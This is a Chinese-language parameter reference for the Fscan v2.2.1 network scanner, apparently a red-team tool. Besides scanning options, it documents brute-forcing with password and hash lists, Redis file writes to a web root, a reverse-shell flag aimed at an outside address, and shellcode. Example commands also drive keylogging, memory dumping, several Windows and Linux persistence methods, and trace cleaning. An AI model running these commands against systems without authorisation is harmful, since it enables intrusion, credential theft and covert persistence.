# Fscan 参数说明文档 **版本**: v2.2.1 **分支**: v2.2.1 ## 基础扫描参数 ### 目标指定 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-h` | 目标主机: IP, IP段, IP段文件, 域名, **支持host:port格式** | - | `-h 192.168.1.1/24` 或 `-h 127.0.0.1:135` | | `-hf` | 主机文件 | - | `-hf hosts.txt` | | `-u` | 目标URL | - | `-u http://example.com` | | `-uf` | URL文件 | - | `-uf urls.txt` | | `-domain` | 域名 | - | `-domain example.com` | ### 端口扫描 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-p` | 端口扫描范围 | 1000个常用端口 | `-p 1-65535` | | `-pf` | 端口文件 | - | `-pf ports.txt` | | `-ep` | 排除端口 | - | `-ep 80,443` | | `-t` | 端口扫描线程数 | 600 | `-t 1000` | | `-time` | 端口扫描超时时间 | 3秒 | `-time 5` | ### 扫描模式 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-m` | 扫描模式: all(全部), icmp(存活探测), 或指定插件名称 | all | `-m icmp` | | `-ao` | 仅进行存活探测 | - | `-ao` | | `-full` | 全量POC扫描 | - | `-full` | | `-np` | 禁用ping探测 | - | `-np` | ## 认证参数 ### 用户凭据 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-user` | 用户名 | - | `-user admin` | | `-usera` | 额外用户名 | - | `-usera root,administrator` | | `-userf` | 用户名字典文件 | - | `-userf users.txt` | | `-pwd` | 密码 | - | `-pwd 123456` | | `-pwda` | 额外密码 | - | `-pwda password,admin` | | `-pwdf` | 密码字典文件 | - | `-pwdf pass.txt` | | `-hash` | 哈希值 | - | `-hash ntlm_hash` | | `-hashf` | 哈希文件 | - | `-hashf hashes.txt` | | `-sshkey` | SSH私钥文件 | - | `-sshkey id_rsa` | ## 网络配置 ### HTTP设置 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-cookie` | HTTP Cookie | - | `-cookie "session=abc123"` | | `-proxy` | HTTP代理 | - | `-proxy http://127.0.0.1:8080` | | `-socks5` | SOCKS5代理(支持所有服务扫描) | - | `-socks5 127.0.0.1:1080` | | `-start-socks5` | 启动SOCKS5代理服务器端口 | - | `-start-socks5 1080` | | `-wt` | Web超时时间 | 5秒 | `-wt 10` | ## POC扫描 ### POC配置 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-pocname` | POC名称 | - | `-pocname ms17-010` | | `-pocpath` | POC脚本路径 | - | `-pocpath ./pocs/` | | `-num` | POC并发数 | 20 | `-num 50` | | `-nopoc` | 禁用POC扫描 | - | `-nopoc` | ## 高级功能 ### Redis操作 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-rf` | Redis文件 | - | `-rf redis.txt` | | `-rs` | Redis Shell | - | `-rs "echo test"` | | `-rwf` | Redis写入文件 | - | `-rwf /tmp/test.txt` | | `-rwp` | Redis写入路径 | - | `-rwp /var/www/html/` | | `-rwc` | Redis写入内容 | - | `-rwc ""` | ### Shell功能 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-rsh` | 反弹Shell目标地址:端口 | - | `-rsh 192.168.1.100:4444` | | `-fsh-port` | 启动正向Shell服务器端口 | 4444 | `-fsh-port 8888` | | `-sc` | Shellcode | - | `-sc payload` | ### 新增功能改进 - **智能目标识别**: `-h`参数现在支持直接指定`host:port`格式,如`-h 192.168.1.1:3306` - **优化扫描逻辑**: 当使用`host:port`格式时,自动跳过不必要的端口扫描,直接进行服务检测 - **SOCKS5全面支持**: SOCKS5代理现已支持所有服务扫描类型,包括数据库和SSH等服务 **代理支持范围:** - **HTTP代理** (`-proxy`): 仅支持Web扫描 - **SOCKS5代理** (`-socks5`): 支持所有服务扫描(MySQL、PostgreSQL、Redis、SSH等)和Web扫描 - **代理失败处理**: 当代理连接失败时,自动回退到直连模式 ## 本地插件系统 ### 本地模式 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-local` | 指定本地插件名称 | - | `-local cleaner` | ### 可用本地插件 | 插件名 | 功能说明 | 平台支持 | |--------|----------|----------| | `avdetect` | 杀毒软件检测 | Windows/Linux/macOS | | `fileinfo` | 文件信息收集 | Windows/Linux/macOS | | `dcinfo` | 域控信息收集 | Windows/Linux/macOS | | `minidump` | 内存转储 | Windows | | `reverseshell` | 反弹Shell | Windows/Linux/macOS | | `socks5proxy` | SOCKS5代理 | Windows/Linux/macOS | | `forwardshell` | 正向Shell | Windows/Linux/macOS | | `ldpreload` | Linux LD_PRELOAD持久化 | Linux | | `shellenv` | Shell环境变量持久化 | Linux | | `crontask` | Cron计划任务持久化 | Linux | | `systemdservice` | Systemd服务持久化 | Linux | | `winregistry` | Windows注册表持久化 | Windows | | `winstartup` | Windows启动文件夹持久化 | Windows | | `winschtask` | Windows计划任务持久化 | Windows | | `winservice` | Windows服务持久化 | Windows | | `winwmi` | Windows WMI事件订阅持久化 | Windows | | `keylogger` | 跨平台键盘记录 | Windows/Linux/macOS | | `downloader` | 跨平台文件下载 | Windows/Linux/macOS | | `cleaner` | 跨平台系统痕迹清理 | Windows/Linux/macOS | ### 插件特定参数 | 参数 | 说明 | 适用插件 | 示例 | |------|------|----------|------| | `-keylog-output` | 键盘记录输出文件路径 | keylogger | `-keylog-output keylog.txt` | | `-download-url` | 要下载的文件URL | downloader | `-download-url http://example.com/file.exe` | | `-download-path` | 下载文件保存路径 | downloader | `-download-path /tmp/` | | `-persistence-file` | Linux持久化目标文件路径 | ldpreload, shellenv 等 | `-persistence-file target.elf` | | `-win-pe` | Windows持久化目标PE文件路径 | Windows持久化插件 | `-win-pe target.exe` | ## 输出控制 ### 输出格式 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-o` | 输出文件 | result.txt | `-o scan_result.txt` | | `-f` | 输出格式: txt, json, csv | txt | `-f json` | ### 显示控制 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-silent` | 静默模式 | - | `-silent` | | `-nocolor` | 禁用颜色输出 | - | `-nocolor` | | `-nopg` | 禁用进度条 | - | `-nopg` | | `-no` | 禁用结果保存 | - | `-no` | ## 系统配置 ### 线程与超时 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-mt` | 模块线程数 | 50 | `-mt 100` | | `-gt` | 全局超时时间 | 180秒 | `-gt 300` | | `-retry` | 最大重试次数 | 3 | `-retry 5` | ### 功能开关 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-nobr` | 禁用暴力破解 | - | `-nobr` | | `-fp` | 启用指纹识别 | - | `-fp` | | `-dns` | DNS日志记录 | - | `-dns` | ### 排除设置 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-eh` | 排除主机 | - | `-eh 192.168.1.1,192.168.1.2` | ### 语言与帮助 | 参数 | 说明 | 默认值 | 示例 | |------|------|--------|------| | `-lang` | 语言: zh, en | zh | `-lang en` | | `-log` | 日志级别 | BASE_INFO_SUCCESS | `-log DEBUG` | | `-help` | 显示帮助信息 | - | `-help` | ## 使用示例 ### 基础扫描 ```bash # 扫描单个IP go run main.go -h 192.168.1.1 # 扫描IP段 go run main.go -h 192.168.1.1/24 # 直接扫描指定主机和端口 (新功能) go run main.go -h 127.0.0.1:135 # 从文件读取目标 go run main.go -hf targets.txt # 仅存活探测 go run main.go -h 192.168.1.1/24 -ao ``` ### 本地插件使用 ```bash # 系统痕迹清理 go run main.go -local cleaner # 杀毒软件检测 go run main.go -local avdetect # 键盘记录 go run main.go -local keylogger -keylog-output my_keylog.txt # 文件下载 go run main.go -local downloader -download-url http://example.com/file.exe -download-path /tmp/ # Windows注册表持久化 go run main.go -local winregistry -win-pe target.exe ``` ### 高级扫描 ```bash # 全量POC扫描 go run main.go -h 192.168.1.1/24 -full # 使用HTTP代理 go run main.go -h 192.168.1.1 -proxy http://127.0.0.1:8080 # 使用SOCKS5代理进行服务扫描 go run main.go -h 192.168.1.1 -socks5 127.0.0.1:1080 # 直接扫描MySQL服务 (新功能 - 优化扫描流程) go run main.go -h 192.168.1.1:3306 -socks5 127.0.0.1:1080 # 启动SOCKS5代理服务器 go run main.go -start-socks5 1080 # Web应用扫描 go run main.go -u http://127.0.0.1:8080 # 暴力破解 go run main.go -h 192.168.1.1 -user admin -pwd password # 输出JSON格式 go run main.go -h 192.168.1.1 -f json -o result.json ``` --- ## 版本更新说明 (v2.2.1) ### 新增功能 - **智能目标解析**: `-h`参数现在支持`host:port`格式,如`-h 127.0.0.1:135` - **优化扫描流程**: 对于明确指定的host:port目标,跳过常规端口扫描,直接进行服务检测 - **统一结果显示**: 修复了端口扫描结果显示不一致的问题 ### 改进项目 - 提升用户体验,支持更灵活的目标指定方式 - 优化扫描性能,减少不必要的网络请求 - 增强目标地址验证逻辑,支持更多输入格式 **总计参数数量**: 70个命令行参数 + 19个本地插件 **更新时间**: 2025-08-12 **版本**: v2.2.1